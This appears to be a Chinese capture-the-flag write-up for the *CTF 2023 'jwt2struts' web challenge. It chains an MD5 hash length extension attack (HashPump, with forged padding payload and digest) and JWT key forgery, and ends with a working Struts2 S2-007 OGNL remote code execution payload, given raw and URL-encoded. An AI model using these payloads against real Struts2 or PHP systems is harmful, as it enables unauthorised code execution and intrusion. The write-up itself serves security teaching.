[*CTF 2023]web方向——jwt2struts 详细Writeup

*CTF

进入靶机后界面如下

image-20230729174333714

F12可以看到hint:JWT_key.php,访问后得到源码

<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
    
    
    if ($username === "admin" && $password != "root") {
    
    
         if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
    
    
            die ("The secret_key is ". $secret_key);
        }
        else {
    
    
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
    
    
        die ("no no no");
    }
}

通过代码审计,已经给了我们saltadminroot凭借后的md5值,但是salt的值我们不知道,我们的目的是得到secret_key

获得secret_key的值需要传入名为digest的cookie值并且需要他的值为md5解密后的salt+username+password,需要usernameadmin并且passwordroot

但是我们题目要求password不能为root,所以得出结论

坑你的,哈哈哈(无语)

研究了很久,才知道这题应该用到Hash长度拓展攻击

Hash长度拓展攻击(Length Extension Attack)是一种针对特定类型哈希算法的攻击技术。哈希算法是一种将任意大小的数据转换成固定大小哈希值(通常是一串十六进制字符)的算法。这些哈希值通常用于校验数据完整性和验证数据的唯一性。

在正常情况下,哈希算法的输出长度是固定的,而且算法是不可逆的,意味着从哈希值恢复原始数据是非常困难的。但是,由于一些哈希算法的设计问题,存在一种被称为“Hash长度拓展攻击”的漏洞。

Hash长度拓展攻击利用了特定哈希算法的漏洞,使攻击者能够根据已知的哈希值和原始数据的部分内容生成一个新的有效哈希值,而无需知道原始数据的其余部分。攻击者能够在已知哈希值的基础上构造出一个新的哈希值,看起来就像是在已知数据后附加了其他内容,并且新的哈希值也是有效的。

这种攻击对于使用特定哈希算法的应用程序可能构成安全威胁。攻击者可以通过构造恶意数据来绕过数据完整性验证,或者伪造数据,并通过已知哈希值的延展来伪装为合法数据。

这里不多赘述关于md5算法实现了,直接上exp

我们要进行Hash长度拓展攻击就要用到工具,HashPump

先在centos或者kali下安装HashPump:

git clone https://github.com/bwall/HashPump
#yum install g++ libssl-dev #centos
apt-get install g++ libssl-dev #kali
cd HashPump
make
make install

这里我kali安装的时候出了好多问题,可以重新配置一下DNS

安装后输入hashpump

image-20230729180308319

使用方法:

Input Signature 		 #为COOKIES中hash的值
Input Data				 #为用户名
Input Key Length          #为长度
Input Data to Add         #为密码(自定义)

这道题Signature输入题目中给我们的md5值,即e6ccbf12de9d33ec27a5bcfb6a3293df

把生成的内容将\x变为%,转换为payload为:

adminroot%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00aa

因为我们要传入username的值为admin,所以我们将这个admin删掉,也就是

root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00aa

然后将digest变成我们生成的值

42b98b1b4aa317759df36d0c79dd4fd9

利用burp发包

image-20230729181149742

得到secret_key,刚开始的时候给个了token,jwt解密一下,将刚才得到的secret_key输入进去,可以看到签名正确

image-20230729181521298

然后将user改为admin

image-20230729181619317

burp抓包修改cookie

image-20230729181903848

进入新界面

image-20230729181940448

Struts2漏洞,S2-007

漏洞原理

当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回

影响版本:Struts2 2.0.0 - Struts2 2.2.3

执行任意代码payload:

’ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”) ,#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘whoami’).getInputStream())) + ’

url编码后:

%27+%2b+(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23foo%3dnew+java.lang.Boolean(%22false%22)+%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream()))+%2b+%27

burp发包后可以看出在age属性上有回显

image-20230729182359899

查看环境变量,得到flag

猜你喜欢

转载自blog.csdn.net/Leaf_initial/article/details/132020638